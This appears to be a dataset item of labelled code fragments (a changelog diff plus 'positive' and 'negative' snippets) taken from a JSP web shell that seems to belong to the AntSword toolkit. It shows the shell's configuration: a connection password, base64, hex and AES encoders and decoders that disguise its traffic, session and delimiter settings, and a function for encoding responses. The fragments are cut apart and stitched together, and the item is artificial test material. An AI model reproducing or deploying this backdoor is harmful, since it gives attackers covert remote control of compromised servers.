anchor.diff:  已知问题：
    1. 文件管理遇到中文文件名显示的问题
   ChangeLog:
  +  v1.7
  +    1. 新增 AES 编码/解码 支持 (thx @Ch1ngg)
  +    2. 新增 Version, 直接访问不带任何参数会返回当前 shell 的版本号
     v1.6
       1. 新增 4 种解码器支持
     v1.5
  
positive.code:             return sb;
          }else if(decode.equals("hex_base64") || decode == "hex_base64"){
              return asenc(asenc(str, "base64"), "hex");
          }
          return str;
      }
  
negative.code:    2. mysql 数据库支持
     3. 支持 base64 和 hex 编码
  --%>
  <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,javax.crypto.*,java.security.*,javax.crypto.spec.*" contentType="text/html;charset=UTF-8"%>
  <%!
  // #################################################################
      String Pwd = "ant";         //连接密码
      // 编码器
      String encoder = "";               // default (明文)
      // String encoder = "base64";      // base64
      // String encoder = "hex";         // hex(推荐)
      // String encoder = "aes";         // aes(加密方式见下文aes配置)
  
      // 解码器
      String decoder = "";               // default (明文)
      // String decoder = "base64";      // base64 中文正常
      // String decoder = "hex";         // hex 中文可能有问题
      // String decoder = "hex_base64";  // hex(base64) // 中文正常
      // String decoder = "aes_base64";  // aes(base64) (加密方式见下文aes配置)
      // 其它配置
      String cs = "UTF-8";                // 字符集编码
      String SessionKey = "CUSTOMSESSID"; // 自定义sessionkey id
      String RetS = "LT58";               // 数据起始分割符 base64
      String RetE = "fDwt";               // 数据结束分割符 base64
      // aes 加密配置项
      /*
      *  aes-128-cfb_zero_padding:
      *   - aes_mode: CFB
      *   - aes_padding: NoPadding
      *   - aes_keylen: 16
  
      *  aes-256-ecb_zero_padding:
      *   - aes_mode: ECB
      *   - aes_padding: NoPadding
      *   - aes_keylen: 32
      */
      String aes_mode = "CFB";            // EBC|ECB|CFB|
      String aes_padding = "NoPadding";   // NoPadding|PKCS5Padding|PKCS7Padding
      int aes_keylen = 16;                // 16|32  // 16(AES-128) 32(AES-256)
      String aes_key_padding = "a";       // 获取到的 key 位数不够时填充字符
  // ################################################################
      String AesKey = "";
      String Version = "1.7";
  
      String EC(String s) throws Exception {
          if(encoder.equals("hex") || encoder == "hex") return s;
  